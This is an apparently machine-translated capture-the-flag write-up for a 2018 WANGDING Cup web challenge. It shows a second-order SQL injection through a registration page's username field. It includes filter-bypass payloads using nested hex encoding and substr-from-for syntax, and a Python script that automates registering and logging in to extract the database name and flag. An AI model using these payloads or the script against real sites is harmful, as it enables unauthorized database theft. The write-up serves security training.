Title Source: WANGDING Cup 2018
Title Description: SQL
The title is as follows. It is a login page
Through awvs scanning, it is known that there is a register PHP # registration page, and there is a SQL blind injection vulnerability in the registration interface.
The title prompts SQL. The test on the registration page fails, and it is found that the input box limits special characters. You need to submit the payload with the agent tool.
Try to construct the sql blind annotation statement username = Alice 'and left (database(), 1) >' a '#
The result is nnnoooo!!!
That is, there is filtering
The test found that the comma and information were filtered, so blind annotation should not be very good
Try normal registration and login
When it is found that the registration is successful, the system returns 302 and jumps to the login page (when the registration fails, the system returns 200)
When logging in, log in with email and password. After successful login, the system returns 302 and jumps to index PHP page, displaying the user name
To sum up, the mailbox and password are used during login, and there is a user name during registration, which will be displayed after login, so we consider that there may be secondary injection of user name here.
After trying to construct username=select database(), the user name displayed after login is still select database(), indicating that the background code may cause username to be displayed in single quotation marks.
Construct the payload as follows
email=test2%40qq.com&username=0'%2B(select hex(hex(database())))%2B'0&password=123456
After two hex decoding, the database name is web
>>> "373736353632".decode('hex').decode('hex') 'web'
Then the attempt to get the table name failed because the information was filtered
Read the comments and said that the name of the watch depends on guessing, ha ha
As for why payload needs to perform hex encryption twice, you can see from the following figure.
Then we should pay attention to a problem here, that is, when the data enters the hex twice, a long string containing only numbers will be obtained. When the long string is converted into digital data, it will become scientific counting method, that is to say, the data accuracy will be lost, as follows:
So here we use substr to add the length of 10 characters to '0' at a time, so that data will not be lost. However, there will be errors if commas are used here, so you can bypass it by using a writing method similar to str substr(str from 1 for 10) (which means intercepting the first to tenth characters of str string). The specific code for obtaining "flag" is as follows:
email=test3%40qq.com&username=0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0&password=123456
After hex decoding twice, the first two bits of flag are fl
The running script is as follows:
import requests import time from bs4 import BeautifulSoup #html Parser def getDatabase(): database = '' for i in range(10): data_database = { 'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0", 'password':'admin', "email":"admin11@admin.com"+str(i) } #register requests.post("http://220.249.52.133:36774/register.php",data_database) login_data={ 'password':'admin', "email":"admin11@admin.com"+str(i) } response=requests.post("http://220.249.52.133:36774/login.php",login_data) html=response.text #Returned page soup=BeautifulSoup(html,'html.parser') getUsername=soup.find_all('span')[0]#Get user name username=getUsername.text if int(username)==0: break database+=chr(int(username)) return database def getFlag(): flag = '' for i in range(40): data_flag = { 'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0", 'password':'admin', "email":"admin32@admin.com"+str(i) } #register requests.post("http://220.249.52.133:36774/register.php",data_flag) login_data={ 'password':'admin', "email":"admin32@admin.com"+str(i) } response=requests.post("http://220.249.52.133:36774/login.php",login_data) html=response.text #Returned page soup=BeautifulSoup(html,'html.parser') getUsername=soup.find_all('span')[0]#Get user name username=getUsername.text if int(username)==0: break flag+=chr(int(username)) return flag print(getDatabase()) print(getFlag())
The operation results are as follows:
reference resources:
https://www.secpulse.com/archives/74776.html
https://blog.csdn.net/qq_41429081/article/details/105600568